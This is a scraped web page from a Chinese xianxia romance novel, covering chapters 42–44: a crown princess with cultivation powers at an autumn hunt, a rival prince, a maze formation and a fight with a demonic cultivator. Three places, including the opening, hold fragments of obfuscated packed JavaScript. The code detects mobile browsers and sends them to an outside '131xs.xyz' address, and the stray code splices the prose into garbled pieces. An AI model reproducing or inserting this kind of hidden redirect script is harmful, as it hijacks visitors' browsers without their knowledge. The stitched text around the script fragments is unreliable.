l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732372|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是假的,余初晏每每想起,还是心情低落。 尤其见到宋瑛环抱两位小殿下,她忍不住想,真的会有母亲不爱自己的孩子吗,为何如此? “阿晏真是个小福星。”宋瑛的轻笑打断了余初晏纷杂的思绪。 她定睛望向宋瑛。 “自从你入宫以来,陛下身体康健,太子也稳重了;宫中细作拔除不少;赈灾一事有你相助,少了多少损失;又将毁城之灾掐于苗头时;现下又得了月凰的赎金,解了国库亏空之急。” “这些都是阿晏的功劳,有阿晏是青渊之幸。” 余初晏怔怔的,她眨了眨眼,“可是这些都不算什么。” 这些都是她有目的性为之,在她看来无论哪一件,于她好处都大于青渊人所得好处。 宋瑛摇头,面上还是带着温和的笑意,“对阿晏来说不算什么,对我们而言受益无穷。无数青渊人因阿晏而受益,无需妄自菲薄,太子需要你,母后也需要你。” “母后也需要我?”余初晏睫毛颤了颤,眼中似有光芒闪烁。 “当然,太子哪能比阿晏贴心,若是没有阿晏,母后用膳都冷清了几分,多寂寞啊。” “母后,我陪你呀。”怀中的赵堇淳偷偷睁着一只眼。 “母后我也是!”二皇子也醒来,显然两小只一直在偷听。 宋瑛抬手去捏两人鼻尖,“不睡了还赖在母后怀里,赶紧自己坐好!” 赵堇淳一溜烟爬到余初晏身边,“皇嫂,淳儿也需要你,没有你谁陪淳儿堆雪人,谁送淳儿墨宝,别人可羡慕你是淳儿的皇嫂了!” 赵景澈与余初晏关系不算亲近,只能细声细气附和妹妹。 余初晏捏了捏她的发揪揪。 赤狐说她孤辰寡宿,母后道众人皆离不得她,她是福禄之星。 赤狐说她得道不成,师尊道她得天独厚,是九阙门希望。 赤狐说她害人害己,晓蓉道若无她,就找不到要走之路。 赤狐说她六亲缘浅,她身边却总是群星环绕,众人爱她、忧她、崇她。 该听谁的,余初晏自有决断。 “母后!谢谢您。”余初晏真情实意给了宋瑛一个拥抱。 没等后者反应过来,已经掀帘出去跑马。 站在车舆,余初晏一眼瞧见了不远处的赵景泽。银白软甲勾勒出他劲瘦挺拔的身姿,眉宇间尚有少年的青涩与稚嫩,但目光坚定如炬,俊秀的脸庞上帝王之势初显。 似若有所感,他回眸,冷冽的面容瞬间破冰,唇角溢出笑意。 “阿晏!”他勒马而来,朝余初晏伸出手。 余初晏没有搭上他的手,转而跨上猎仆送来的另一匹马。 她挑眉一笑,恣意张狂,“看谁先到营地?” 赵景泽收回手,却不觉失落,忽而先一步策马疾驰出去,“那我先行一步!” “好哇!你耍赖皮!”余初晏扬鞭,骏马嘶鸣奔腾而上。 两人动静之大,引得众人注目,要不了多久,宋峥也从车内跃出翻身上马,紧随其后,陆陆续续有年轻人策马离队。 山间尘土飞扬,众鸟惊而腾飞上空。 青渊帝笑着摇头,并未追究他们御前失礼,反道年少轻狂。 呼啸的风声从耳畔掠过,余初晏压低身体,很快追上了赵景泽,与他并驾齐驱。 身为余初晏最亲近之人(自诩),赵景泽敏锐地察觉到余初晏心情激昂,不复前段时间莫名低沉,他问:“阿晏心情很好,为何?” “不告诉你。”余初晏眯眼加速,转瞬超过了赵景泽,“等你赢了我再说!” 赵景泽咬得很紧,“若是我赢了阿晏,有奖励吗!” 余初晏瞥他,“任你提一个要求如何?” “真的!”赵景泽眼睛瞬间晶亮,铆足劲要超过余初晏。 余初晏不遑多让,死守住了最前。 见难以取胜,赵景泽动起了歪心思,“让让我嘛!阿晏!好阿晏!让让我嘛!” “赵景泽你能不能有点出息!”张口吃了一嘴风,余初晏无语凝噎,这小龙崽子还要不要脸。 “太子你羞不羞啊!”年轻才俊在两人身后放声大笑。 赵景泽全然不羞,能让阿晏答应他一个条件,此等事还要脸面做什么。 “阿晏,求求你了!” “闭嘴!” 众人笑闹声消散在风中,借由风传向远山。 传至悬崖上观测众人的黑袍人耳中,枯瘦的手指在空中随意挥动,他怪笑,“青渊人未免太过安逸了。” 42. 秋猎 秋猎为期十日,每日猎物最多之人皆会受到赏赐,最后一日再统计总猎物,接受皇帝最终表彰。 这是年轻才俊于陛下面前露脸的好机会,大都摩拳擦掌,整装以待。 唯有常年围绕在贺二身边那群人萎靡不振,今年贺二不在京中,相熟的伙伴被流放,再纨绔也收敛了脾性,老实夹着尾巴做人。 月凰国不参与此次秋猎,谈判结果落定后,使团带着赤狐,由一支禁卫相送,连夜赶回本国,唯有胡礼被留在了青渊——月凰可不打算花钱赎他。 马蹄声阵阵,余初晏勒马急停,改跑为小走,她已经遥遥领先,夺得了魁首。 在她之后,赵景泽也抵达营地,一路求让不成,反将自己弄得气喘吁吁,一头热汗。 下马后也不安生,死死抱住余初晏的腰哀嚎,“阿晏好狠的心!我都那样了,也不肯给我个机会吗?” 余初晏推他,“……是你技不如人,别丢人现眼!” “不要,阿晏给我补偿,就补偿答应我一个条件如何。” 余初晏身体冬暖夏凉,跑马跑得满身燥热后抱住她,简直抱住了一枚人形冰块,赵景泽更加不愿松手了。 “别逼我揍你。” 两人拖拖拽拽,余初晏不想他在入口处丢了储君颜面,强拖着他入了营地腹地,反正帝驾还要一炷香才能抵达。 两人拉扯着,前方拐角处忽而走出一人,身穿貂裘猎装,脚踩着黑色长靴,身姿瘦削。 缀着金翎锦帽下,是一张昳丽的面容,不笑时也自带三分笑意。 余初晏停下脚步,唇边笑容敛去,与他对视。 赵景泽站直,以为他是来找麻烦的,抿唇一言不发,眼中却带上了烦闷。 但宇文芜眼神都未分给他,那双如烟如黛的眼睛紧紧注视着余初晏,似有千言万语,呼之欲出。 “是你。”他说。 “是我。”余初晏颔首。 瞥见她身旁目露警惕的赵景泽,宇文芜粲然一笑,如灼灼桃花、三月春景。 向前两步,他伸出手。 赵景泽下意识拦在了余初晏身前。 那只骨节分明,莹白如玉的手一翻,一枚金钗赫然出现在手心之中,“你的金钗。” 赵景泽欲拿,却被他侧身躲过,执拗地等待其主拿起,眼底蕴藏着恶意。 眼见赵景泽眉间染上薄怒,余初晏抬手捻起金钗,握于手心。 眨眼间,金钗化作齑粉,从她指缝散落,部分落回宇文芜手中,部分随风消散。 “别人拿过的东西,我不需要了。”余初晏挑衅一笑。 转头与赵景泽并肩离去,赵景泽心情转晴,“阿晏若是喜欢金钗,再去多打几对。” “不用了,现下有的足够了。”余初晏不爱戴这些,平日里简单几支玉簪挽发即可,若非宫宴,她才不喜欢头上晃晃荡荡的。 况且赵景泽的小金库都被他拿去赈灾了,能有多少金银?还不如她有钱。 两人远去,徒留宇文芜留在原地,眼尾染煞,“好得很……青渊太子妃……余初晏……” - 皇帝大病一场后,身体大不如前,狩猎不过在附近林间转悠片刻,又回帐中休息。 宋瑛与宋峥姑侄两人出尽风头,每日都是大只小只猎物入营。 赵景泽不甘示弱,惦记着给余初晏打只狐狸做做披肩,日日在林间穿梭。 反观余初晏,像是来郊游踏青,每日除了练剑打坐,就是带着几只小的在溪中捕鱼捕虾。 她眼力极佳,手握着尖锐的木棍,在溪中一插便是一尾鱼,惹得岸上哇声一片。 晚间,赵景泽打了一只麋鹿回营,说是在山中发现大虫的踪迹,明日打算深入狩猎。 若能猎得大虫,一跃成为魁首也不为过。 秋暮降临,凉风习习,除了武将,大部分人都裹上避寒的披风,围在篝火前烤制晚膳。 眼见又吃炙肉,余初晏叹口气,平日里她瞧不上的山间野果都变得有滋有味起来。 “明日我要入深山,晚间不会回营地,阿晏和我一同嘛。”赵景泽回来就沐浴过,身上有股皂角清香,压下了营地中萦绕的动物腥臊与血腥气。 余初晏已经连着几个白日未与他一起,夜间也不怎么同他亲近,让赵景泽有几分失落。 一边将烤熟鹿肉切至方便食用的大小,一边观察着余初晏的神情,“你答应过我的,陪我看日出。” 余初晏蹙眉,似在考虑。 这几日宇文芜也在营中,并未走远狩猎,营地就这么大,时不时两人会撞上,后者总用阴恻恻的目光瞧着她。 好歹填补了赵景泽在外狩猎时,营地中没有紫气可吸的空缺,余初晏勉强原谅了他的无礼与倨傲。 如此她本可以不跟赵景泽去狩猎,但不知为何,她心中总有挥之不去的沉重,像是有大事要发生一般, 赵景泽还在等她的回答,余初晏最终点头应允。 帝后听闻此事,特意将两人叫到跟前,叮嘱他们注意自身安危。 昏暗灯光下,赵景泽忽然发觉青渊帝不知何时,两鬓染上了发白,眼尾细纹清晰可见,他心中五味杂陈。 又听宋瑛轻叹一声,“你父皇大病后,身体不如以往,经不得劳碌,我与你父皇商议着,待你生辰后,也该担些担子,先从监国做起。” 余初晏面色古怪,宋瑛朝她眨眨眼,两人的小动作显然没有被赵景泽发觉,他已经沉浸在父母年华逝去的沉痛中,当即应承下监国。 两人离开帐篷后,赵景泽心情低落,沉默不语,而余初晏却听见帝后窃窃私语。 “阿晏应当是看出来了。” “无妨,她不会与泽儿说道,待明年泽儿及冠,你就着手准备让位,说好的和我周游列国……” “也好,淳儿与澈儿也到了可以独立的年纪了,有阿晏在,朕也放心。” 余初晏就说,她分明瞧着老龙还有二十余年寿命,皇后更不用说,身体强健得很。 身旁对帝后计划一无所知的赵景泽,牵着余初晏,自责道:“若是我早些能理事,父皇母后也不用这般辛苦……” “别多想。”余初晏委婉地安慰道,“陛下与母后定能长命百岁。” “借阿晏吉言了!” 不是吉言,是实话,余初晏腹诽,如果赵景泽真当了皇帝,她还未到元婴期的话,怕是得暂时离开青渊了。 正好眼前有送上门的宇文芜…… 提及人,人就到了。 赵景泽夜里还要与虎枪卫商议明日猎虎一事,敲定具体事宜后才能回帐歇下。 余初晏先行回营帐,一眼就看见了阴影处的宇文芜,应该是特意等在此地等她。 想看看他要做什么,余初晏没怎么反抗就被拉进阴影处,宇文芜力气很大,虽然瘦,意外地并不矮,比赵景泽还高了半寸。 他将余初晏抵在树干上,居高临下俯视着怀中人,对她平淡的表情有所不满,宇文芜皮笑肉不笑,“余初晏?” 余初晏挑眉,眼神示意他有话快说,不要说废话。 宇文芜附在她耳边,眼波流转,“堂堂青渊太子妃,为何要招惹我?还是说——赵景泽满足不了你?” 回答他的是腹部重重的一击,饶是宇文芜习惯了疼痛,也下意识躬身。 余初晏趁机挣脱他,两人极快地交手几个来回,默契地未惊扰任何人。 原本余初晏两只手都被他禁锢,不过几息,形式逆转,余初晏按着宇文芜的手腕,反将他桎梏。 “不过亲你两口而已,用不着记这么久吧,还是说,那是你的初吻?” 黑暗中,宇文芜耳尖悄悄红了,他咬牙,“怎么可能!本殿不过看不惯你这种水性杨花的女人!” 旋即他又笑起来,“你敢将此事告诉赵景泽吗?若是他知晓了,你会有什么下场?说起来他很快就回来了吧,让他瞧见我们这般——” 余初晏又给了他一拳,“你觉得他会信你还是信我?若是他知道了,我只会找你的麻烦,小草儿听话点,我可不想揍你这张漂亮的脸。” 宇文芜相貌确实惊为天人,尤其是那双剪水般的眼睛,连余初晏下手时都有几分迟疑。 被揍了两下,宇文芜却是心情愉悦,他半垂着眼,轻轻地笑,姣好的眉眼染上魅意,“所以,你也是因为这张脸?” “不是。”余初晏想都不想否认,“就你当时那灰头土面,披头散发,还涕泗横流的样子—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737096|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过现在顺眼多了。” 比起颜色,余初晏觉得紫宸之气更重要些。 哪有涕泗横流,宇文芜张口欲辩,余初晏已经松开了他,“有空天天跟着我,不如琢磨回天启后,怎么稳固你的地位。” “胡姬之子想要登上那个位子,虽有难度,对你而言并非无可能。” 宇文芜闻言微怔,眼中迅速带上了阴鸷,“你如何知晓的?” 余初晏不欲与他多说,赵景泽确实该回来了,不远处传来巡卫的脚步声,她甩开宇文芜,转身就走。 步法迅疾,眨眼间没了身影。 她离开后,几名狐面人稳稳落于宇文芜身后,“如何,对上她有几分把握?” “属下几人加起来都不是她的对手。”为首狐面人坦诚道,“她并非习武之人,而是货真价实的修真者,极有可能便是传闻中神女。” 宇文芜若有所思,心中嫉恨青渊运气真是好得过分,前有无霜道人为国师,后有余初晏,还成了赵景泽的太子妃。 哪像天启所谓的国师,不过是沽名钓誉之辈,几手小把戏就将龙椅上那位戏耍得不记得自己姓甚名谁。 “谁在那?”巡卫远远看见暗处的人影,冷声呵斥。 狐面人瞬间隐没入黑暗中,宇文芜缓步踏出,“是本殿。” 巡卫认出那张无人不知的脸,躬身行礼,“夜里风大,九殿下还是早些回帐中为好。” 宇文芜颔首,抬脚离去,赵景泽好运又如何,他身上有余初晏需要的东西,才引得她刻意接近。 不如将计就计,总有一天他会将她抢过来。 向来如此,他如野草,唯有靠自己又争又抢…… - 卯时未至,余初晏就将赵景泽摇醒。 暮色还沉,星辰未隐,林间已有不知名鸟雀鸣叫。 赵景泽蹲在溪边,用冰冷的溪水洗漱,试图让自己清醒些,余初晏站在他身后,故意将水珠撒入他后颈,凉意让其缩着脖子,愤愤瞪来。 不远处虎枪卫们已经整备好入山所需物资,只待两人出发。 一盏茶后,崎岖的山路间响起凌乱而清脆的马蹄声,队伍沿着昨日做下的标记一路深入。 算算时间差不多,余初晏令猎仆们原地待命,领着赵景泽登上她早看中的山崖处。 两匹马一前一后,缓步向上,余初晏在前以灵力轻轻拂去阻路的树枝杂草。 再往上,只余乱石戈壁,担心马匹上去后无法下来,两人下马而行。 “这里又没人,我抱你上去无人会笑你。” “不要!我能攀上去!” 余初晏不明白赵景泽的坚持,蹲在上首岩石,撑着脸看他一步步爬上来。偶尔看他手下岩石不稳,才会搭把手。 赶在日出前一刻,赵景泽终于来到崖顶。 此时天已既白,群山廓落隐约可见,流云似海,如波涛般扑面而来。 赵景泽半趴在大岩石上,余初晏欲将他拉上,他却望着天边怔怔出神。 “阿晏太阳出来了——” 余初晏拂开眼前的碎发,迎风望去,天际橘红一片。 巨大的火团一点点突破云层,亮得刺眼,曦光瞬间照亮一方天地,入眼尽是燃烧的云层。 顷刻日盘跃然于群山之巅,薄雾浓云皆被驱散,远山清晰可见。 整个过程不过弹指间,但震撼之感久留于心。 赵景泽还趴在石上,呼吸放得很轻,显然还未回过神。 余初晏盘腿坐于他身边,日出她在玉虚山间见得多,今日虽有感悟,在她看来不足为奇,见赵景泽喜欢,她道:“你若喜欢,日后我常陪你看便是了。” 赵景泽视线终于从太阳上挪开,清澈似水的双眼中漾出期待,“陪我看一万次?” “凡人寿命不过两万余天……”哪能一半都用来看日出,后面半句余初晏吞没在唇角,因为小龙崽忽然暗淡的眸光。 “——区区一万次,陪你看就是了。” 闻言,赵景泽眼中迸发的光彩,连赫赫日光都不能及,余初晏摸了摸他的眉眼,“不是说给我打虎皮大氅,走吧。” “……手麻了,阿晏我动不了了……” “蠢死你算了……” 43. 迷阵 日出后,天色亮得很快。 虎枪卫经验丰富,这支队伍隶属禁卫,常年于狩猎中为陛下追踪并协助击杀老虎,各个都是能骑善射的好手。 除开两人看日出耽搁的时间,队伍行进速度相当快,虎枪卫经验丰富,很快锁定大虫所在方位。 走走停停整整一日,夜间休整后复又出发,第二日清晨终于追查到了大虫的影子。 路上余初晏频频四处张望,时而眉心紧蹙探出神识 除人以外,动植物自然也有斑驳各色的气,未免被眼前眼花缭乱的气分心,她早就将眼识关闭。 但心间沉甸甸的阴霾挥散不去,随着队伍深入还有愈演愈烈之势。 赵景泽觉察到她不寻常的动作,问:“阿晏,你发现什么了吗?” “有什么一直在看着我们。”余初晏再度回首,神识所过之处唯有鸟兽。 虎枪卫队长憨厚一笑,“林间常有鸟兽观察人,想必太子妃感受到的便是它们的视线。” 虽说如此,向晖为保守起见,还是令众人停驻,四下仔仔细细搜寻一番,除了他们未见他人踪迹。 见余初晏仍然愁眉不展,赵景泽安慰:“阿晏无需多想,围场常年封锁,秋猎前夕更是禁卫层层把关过的,外人进来难如登天。” 继续行进,队伍于正午抵达一片乱石林,在此大虫踪迹忽然断绝,虎枪卫追寻未果,只能禀告赵景泽,失去大虫行踪,建议原路返回,重新找寻线索。 面对数十仞高的青色怪石,赵景泽略有不甘,问:“带崽的雌虎未必不会在此躲藏,为何不深入探查?。” “殿下有所不知,怪石林中极狭,仅能容一人通行,即使大虫真栖于此,我等无法布阵,捕虎恐伤人命。”虎枪卫虽身经百战,此处地形不宜施展,隐患太大,他们不愿平白丢了性命。 “我认同他的看法,此地不宜久留。”余初晏展开眼识,乱世林中分明肉眼可见各种植被,但她眼前除了周身众人之气,未见任何别的气,宛如一片死地。 “马上走!”她声音染上急促,身下的马匹焦躁不安地小踏步。 众人也不含糊,迅速上马有序撤离。 “出什么事了?”赵景泽紧紧跟在余初晏身侧,向晖于末尾断后。 余初晏摇头不答,“希望是我多心了。” 红日高悬,队伍浩浩荡荡进入林间,原路返回。 路上标记犹在,沿途都是熟悉的风景,几名虎枪卫不自觉放松下来。 这片区域除了大虫,并未有其他猛兽栖息,此时也不是大虫出没时辰,也不知太子妃何故弄得形式紧张。 说到底太子就算了,堂堂东宫近卫统领为何也听令于一名女子,听闻太子妃还不是世家出身。 虎枪卫虽隶属禁卫,常年在外公差,剿杀伤人恶虎。唯有秋猎之际才会部分反京陪猎,对京中之事诸多不了解。 察觉队伍脚程变缓,余初晏余光一瞥,“让他们加快速度。” 赵景泽当即下令全速前进,碍于太子之命,哪怕有所不满,虎枪卫也必须听从。 很快草木渐稀,道路尽头出现白光,余初晏提速冲出树林,眼前风景让她神情渐沉,却早有预感,她勒马改跑为走。 “阿晏怎么停下……”赵景泽后半段话卡在喉间,吐不出半个字,只因那青石怪林再度出现在眼前。 身后众人陆陆续续奔出,同样被面前怪石林震惊到失语。 “这是我们之前到过之地,还是旁的石林?” “莫不是太子妃带错路了?” “应当是路错了……” 虎枪卫们窃窃私语,队长简单勒马环视一圈,确认这就是他们此前到过的石林,地面还留有痕迹。 即使他一路确认过标记,现下却忍不住怀疑起来,难道真带错路了? 目光不由自主落到一旁的余初晏身上。 赵景泽挡住他的视线,目光沉沉道:“标记是尔等做下的,本宫与太子妃一路沿着标记,会出错难道不应该是尔等之过?” 虎枪队长沉默不语,反倒是队伍内异样之声渐多。 “你们是要造反吗?”赵景泽语气平缓,周身气势凛然,向来柔和的桃花目锐气逼人,扫过说话的每一名虎枪卫。 众人连声道不敢,眉宇间却不见顺服。 直到断后向晖归队,面对此情此景,他显然一愣,“这是……” “既然他们不服,那就再原路返回罢,这回我们走后头,让他带路。”余初晏指向虎卫队长。 向晖立刻明白发生了什么,目光一凛,面沉如水地来到两人身边,手握武器。 在所有人注视下,虎卫队长扬鞭,重新进入树林。 队伍速度慢了下来,只因每一个标记队长都会仔细辨认,反复敲定后再前行。 这一回余初晏没有催促,她神识探出,面对赵景泽的疑惑,还能分心告知在找阵眼。 余初晏确信他们入了迷阵,布阵之人蓄谋已久,实力高强,连她都不清楚众人是何时入的阵。 时间不知不觉流逝,再度抵达树林尽头,虎卫队长忐忑不安疾驰向前,白光散尽,他愣在原地,恐惧突生。 猛地调转马头,他高呼:“不可能!不可能!” 见队长如此,其他虎卫不信邪,纷纷策马向前,而眼前的景象似乎在嘲笑他们的愚蠢。 仍有不死心的几人追随队长复归林间,剩下的在向晖的指挥下暂时就地休整。 “看马的状态,我们至少走了一个时辰。”向晖逐个检查马匹的情况,虽说他们在原地打转,但马的疲惫做不得假。 “你没发现吗。”余初晏抬头望天,“太阳一直未动过。” 众人惊恐抬头,红日端正地挂在头顶,往日圣洁的曦日,仿佛成了催命符,压迫在他们心间。 队伍中一片萧条,恐惧无声蔓延。 余初晏找了块大石,盘腿坐于其上,用尖锐的石头刻画推演。 赵景泽自知帮不上什么忙,只能在替她遮阳送水。 不多时树林中传来一阵马蹄声,有人心生希望抬头望去,只瞧见大惊失色的虎卫队长与同僚。 “即使不按标记走,最终也会回到这里——我们遇上鬼打墙了!” 这句话成了压死骆驼的最后根稻草,情绪激动的几人抽出剑对着树木挥砍,声称只要将这片树林都毁去,定能归位。 还有人唉声叹气,直言不如等死。 唯有少部分保持坚定意志,于原地休整平复心态。 太阳虽屹然不动,热度未减,没一会砍树几人累得满头大汗,口干舌燥,而水囊中的水所剩无几。沉默地坐回树荫下,目光却频频落到队友水囊上。 “你拿我水囊做什么?”一名年轻虎卫忽然厉声道,“不问自取即为偷!” 被戳穿的虎卫也不见心虚,抬高声音,“你还有两袋水,分我些怎么了,前些日子我也帮过你……” “那能一样吗?这鬼地方也不知何时才能出去,若不是你自作自受,非去砍树——” 话未说完,一计重拳打在他脸上。 “早看你不顺眼了……” 这一拳就像冷水入热油,虎卫们瞬间炸开锅,昔日同僚反目,为争夺有限资源,对同伴刀剑相向。 虎卫队长阻止未果,还差点被乱挥的虎枪伤及。 “向晖,让他们安静些。”余初晏头也不回,抬手就是几个束缚符扔过去。 向晖对这等事还算熟练,从人群中挑出几个闹得最凶的,身法迅疾将符篆贴至他们背上。 几人瞬间倒地无法动弹,像是被绳索束缚四肢,只能像虫豸般扭动身躯。 骚乱暂歇,怨恨与恐惧的目光落到余初晏身上。 也不知是否是布阵之人特意留下的漏洞,凭借太阳位置,余初晏大致推测出她们入阵时间与方位,由此推出整个阵大小与阵眼所在。 “我要入石林。”她搁下尖石,郑重道。 她身前眼花缭乱的白色线条,最终指向正是石林所在位置。 赵景泽看不懂她所画,在旁边蹲了半天,眼睛都花了,听她这么说,接话道:“我也……” 余初晏堵死了他的话头,“只我一人。” “往南走约两里地有一片活水泉,在阵中,若是要打水,结伴过去即可,记住不要入石林!”看似对赵景泽所言,声音却传到了所有人耳中。 众人将信将疑,余初晏却是不在乎。 揉了揉赵景泽的头,后者垂着眼不知做何想。 “里面遇到危险,我怕护不住你。”余初晏难得解释了两句,“在外面等我,我很快回来。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742405|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。”赵景泽闷闷应声,显然闹别扭了,撇头不去看余初晏。 又交待了向晖几句,余初晏闪身踏入石林。 青灰的石岩如利刃,直插入云,其间穿杂着从石缝中强长出的植被,将一线天光遮去大半,小道窄而暗。 余初晏边走边测算,路难行于她而言不算什么,怪石参差不齐,道路也时窄时宽,间或有潺潺流水阻路。 记不清过去了多久,她眼中终于有了气,浓郁得滴出血的红气团,附着在一汪清泉中的石莲之上。 阵眼摆得太明显了,余初晏犹疑,难道是陷阱。 一只黑蛟破水而出,上半身竖直,金色的兽瞳盯着余初晏,后半身紧紧将石莲盘旋。 这只黑蛟同样无气,不过死物傀儡。 余初晏提剑,只消几个来回就将其斩首。 黑蛟尸首垂落,化作青石。 又在岸边等待片刻,试探性来回走动,再无守护石兽,余初晏着手准备破阵。 以防万一,她没有直接接触石莲,更没有用武器削去它,而是以阵锁阵,借由隔绝阵将阵眼封锁,失去阵眼,迷阵自会断绝。 这种方法并不适用所有阵型,像此前窃命阵,光靠封锁无法破阵,唯有彻底破坏阵眼。 但迷阵与简单的防护阵可以此破除。 妖冶的红光在无形的结界中蔓延,石莲逐渐枯萎,最终化成碎块,沉入水底。 空中像是有何物破碎,血红的曦日不再刺目,逐渐隐没入层云中。 余初晏仰头,眼睁睁见太阳再出现时,已经换了位置,恢复正常。 迷阵已破,但设阵之人却并未出现。 她心中凝重,迷阵虽不难布,但设阵总归图点什么。 余光瞥见黑影直扑而来,饶是余初晏反应迅速,也被那活物咬中手腕。 她猛地挥手,青蛇砸向石仞,活活摔死后同样变为石沫。 手腕伤口流出黑血,余初晏反应迅速,食下解毒丸后,以匕首划开伤口,逼迫黑血流出,辅以灵泉清洗,直至血色渐红。 “真是奢靡,上好的灵泉如此浪费。”不知何时,不远处石仞上出现两名白袍道人,皆以玄铁覆面,一站一蹲。 说话之人蹲在石尖,听声音已不年轻,手中浮着枚五行八卦阵盘,修为并不高,堪堪金丹初期,以他的年龄来说,应当已达上限。 至于他身侧站着的那位,化成灰余初晏也能认出——逍遥道人! “看不出修为,身上带有隐匿法器。”阵修从头到尾打量余初晏,“手持魔剑——小丫头有些本事,魔剑都被你驯服。” “看剑法,应当是九阙门人,余无双已死,她的后人看起来不过尔尔……” 话音未落,剑意已至,“我实力如何,不若你亲自领教一番。” 石仞破碎,两人闪身躲避,身姿轻盈,随手一挥,溅射的碎石避开他们,散落四周,部分落入水中,惊起阵阵水花。 以碎石为隐,余初晏欺身而上,剑锋直指逍遥道人。 后者以拂尘缠剑,反手欲将剑夺走,并未成功。 青渊绞住逍遥道人身形,手中雷霆诀拍上,白日惊雷,重重劈至白袍人身上。 这点小手段当然不可能另其受伤,余初晏手中青渊再度收紧,运转灵力,集中于左手,全力挥出一拳。 这一拳带有破碎虚空之势,余初晏自信哪怕是合体期,丹田处硬生生接下这拳,不死也半残。 但她的左手贴近逍遥道人命门一寸时,再动弹不得,浓重的魔气缠绕在手臂上,生生止住了她的动作。 “小丫头,过于狂妄与送死无异。”阵修笑道,他手中阵盘旋转。 余初晏心生警惕,不知他会使用何种阵。 下一瞬逍遥道人出手了,他同样以掌相迎,直挥向余初晏下丹田,打算直接粉碎她的金丹。 青渊猛地刺破拂尘,余初晏横剑护住命门,却见逍遥道人手腕处蓝光一闪——阵修用强化阵加强了他的力量。 再顾不得攻击,左手挣脱魔气,结印全力防守。 即便如此,余初晏还是被这一掌击飞,重重撞在石仞上,巨大的冲击另石仞坍塌,惊起一片沙尘。 动静之大,引起了石林外众人的注意,赵景泽腾地站起,胸腔内心脏狂跳不已,“阿晏!” 44. 逍遥道人 “原以为是剑修,竟然是体修。”那阵修落到不远处,笑吟吟望着陷入石堆中的余初晏。 为接下这掌,她手臂骨骼寸断,无力地垂在身侧,眨眼间又筋骨重塑。护体的法衣破碎,她极快地从芥子中拿出新的换上。 慢慢转动手腕,余初晏眼中怒火更甚,脑中却冷静无比,逍遥道人和她想的一样棘手,还跟了个烦人的阵修。 所幸阵修修为不高,因环境与材料限制,也使不出大阵。能跟在魔修身边能是什么好人,找机会杀了,再专心对付逍遥道人。 “本道从不轻敌。”逍遥道人踏空而立,即使面对只有金丹期的余初晏,他仍然郑重以待,祭出本命法器,万鬼幡。 万鬼幡,魔修至宝,以生魂为食,被吞噬入旗的生魂,日日受邪火灼烧,时时经灵魂撕裂之苦,却无法逃脱。 久而久之扭曲的生魂汇聚出强大、足以毁灭一切的怨气,再与魔气结合,堪称至强凶器。 眼前这把黑色的幡旗旗面上众多鬼面扭曲蜿蜒,显然已经吞噬过数千生魂。 但或许因为自身实力不同以往,逍遥道人并未尽数释放,还以阵法为辅。 幡旗升天,无数怨灵冲出旗面,在空中铺开一张张扭曲的人面,遮天蔽日,尖锐的哀鸣伴随着魔气,呼啸着朝余初晏扑去。 余初晏抬手捏诀,脚下一踏,身法敏捷地将怨灵聚集在一起后,一剑解决。 或许是感应到同源法器,青渊剑在她手中嗡鸣作响,战意高昂。 怨灵斩不尽,短暂消散后幡旗中仍有万千怨灵喷涌而出。 余初晏以罡气护体,除开应付前仆后继的怨灵,还要躲避来自阵修的阵法干扰。 手中符篆如不要钱般飞出,逼得阵修撤至青石后躲避。 曦日不知何时逐渐即将淹没入地底,夜间的万鬼幡只强不弱,余初晏心中凝重,她灵力只够使用雷击木一次,必须一击必杀,否则后患无穷。 一定要挑选出最适当的时机。 逍遥道人口说不轻敌,实际并未全力使用万鬼幡,只同猫抓耗子般戏弄于她,像是要耗尽她的灵力。 再度躲开阵修所化石巨人冲撞,余初晏落至另一座岩顶。 因着三人斗法,这一片万仞石岩坍塌得不成样,满地皆是破碎的巨石,将道路彻底堵死。 她被逼至石林边缘,身后是躲在树林中观望事态发展的众人。 赵景泽被向晖死死拦住,这种情况上前不过是找死。 余初晏没有回头,反倒是阵修发现了旁人的踪迹,笑道:“怎么还有几只凡人老鼠,不若一并做了这万鬼幡的养料。” 逍遥道人颔首,示意他动手。 阵修桀笑着冲向树林,余初晏握剑向前直指他面门,却被魔气怨灵团团围住。 眼见阻止不成,她破斧沉舟冲向幡旗。 逍遥道人结印,口中念念有词,瞬间万鬼涌出,怨灵汇聚成巨大的鬼掌,重重压下,余初晏凛然不惧,青渊剑高举。 另一边众虎卫持枪布阵,向晖持剑护在赵景泽身前,眼前的敌人并非他们以往对上的肉体凡胎,而是实力高强的修真者,众人心中毫无底气,也不曾退后半步。 眼见青渊剑将与巨掌相触,半空中的余初晏却忽而扭身以肉身接下这一掌。 同时手中青渊脱手而出,以风驰电掣之速,生生击穿百步开外的阵修左肩,将其钉死在巨石上,剑锋入石数寸,另其再动弹不得。 阵修发出一阵惨叫,青渊疯狂吸食他的血液与灵力,逼得他不得不断臂求生。 而硬生生接下魔掌的余初晏,有一次被狠狠砸进地面,坚硬的岩石地面砸出数尺深坑,龟裂的石纹蔓延百里。 